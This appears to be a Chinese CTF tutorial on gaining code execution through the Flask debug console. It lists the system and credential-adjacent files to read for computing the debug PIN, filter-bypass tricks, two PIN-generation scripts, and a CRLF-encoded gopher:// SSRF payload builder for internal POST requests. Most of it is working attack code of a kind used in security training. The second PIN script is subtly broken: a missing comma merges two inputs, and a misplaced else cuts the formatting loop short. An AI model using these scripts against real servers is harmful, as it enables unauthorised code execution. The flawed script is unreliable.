CTF ssrf+pin - 技术栈

什么是pin码

pin码是flask在开启debug模式下，进行代码调试模式所需的进入密码，需要正确的PIN码才能进入调试模式,可以理解为自带的webshell

pin码如何生成

pin码生成要六要素

1.username 在可以任意文件读的条件下读 /etc/passwd进行猜测

2.modname 默认flask.app

3.appname 默认Flask

4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量

5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address

6.machine_id 机器码这个待会细说,一般就生成pin码不对就是这错了

machine-id
/etc/machine-id读不到,那么就是/proc/sys/kernel/random/boot_id和/proc/self/cgroup拼接了

machine-id是通过三个文件里面的内容经过处理后拼接起来

对于非docker机，每台机器都有它唯一的machine-id，一般放在/etc/machine-id和/proc/sys/kernel/random/boot_id

对于docker机则读取/proc/self/cgroup，其中第一行的/docker/字符串后面的内容作为机器的id

非docker机，三个文件都需要读取

docker机 machine-id= /proc/sys/kernel/random/boot_id + /proc/self/cgroup里/docker/字符串后面的内容

过滤相关

1.过滤了**self**

其中的self可以用相关进程的pid去替换,其实1就行

2.过滤了**cgroup**
可以考虑mountinfo或者cpuset

在python3.8以后生成的脚本如下

python 复制代码

import hashlib
from itertools import chain
probably_public_bits = [
    'app',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.8/site-packages/flask/app.py' 
]

private_bits = [
    '2485376911915',
    '7265fe765262551a676151a24c02b7b646a18828428b87e35c5482255b121e8f7464b02e50ffe3f1d626f8c05793f49a'# get_machine_id(), /etc/machine-id  /proc/sys/kernel/random/boot_id
]   

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

python 3.6以前

python 复制代码

#MD5
import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb'# username
     'flask.app',# modname
     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
     '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
     '25214234362297',# str(uuid.getnode()),  /sys/class/net/ens33/address
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num

print(rv)

gopher协议

gopher协议的格式通常为：

gopher://hostname:port/请求方法(get、post等)/path

【网络安全 | HTTP】 gopher协议原理、语法及利用总结_秋说的博客-CSDN博客

rce脚本:

python 复制代码

import urllib.parse

payload = """
POST /被渗透页面.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key/cookie等等=xxx 
#用于身份验证或授权

"""

# 对payload中的特殊字符进行编码
tmp = urllib.parse.quote(payload)

# 将换行符%0A替换为回车换行符%0D%0A，以利用CRLF漏洞
new = tmp.replace('%0A','%0D%0A')

# 构建Gopher URL
result = 'gopher://127.0.0.1:80/'+'_'+new

# 对新增的部分继续编码
result = urllib.parse.quote(result)

print(result)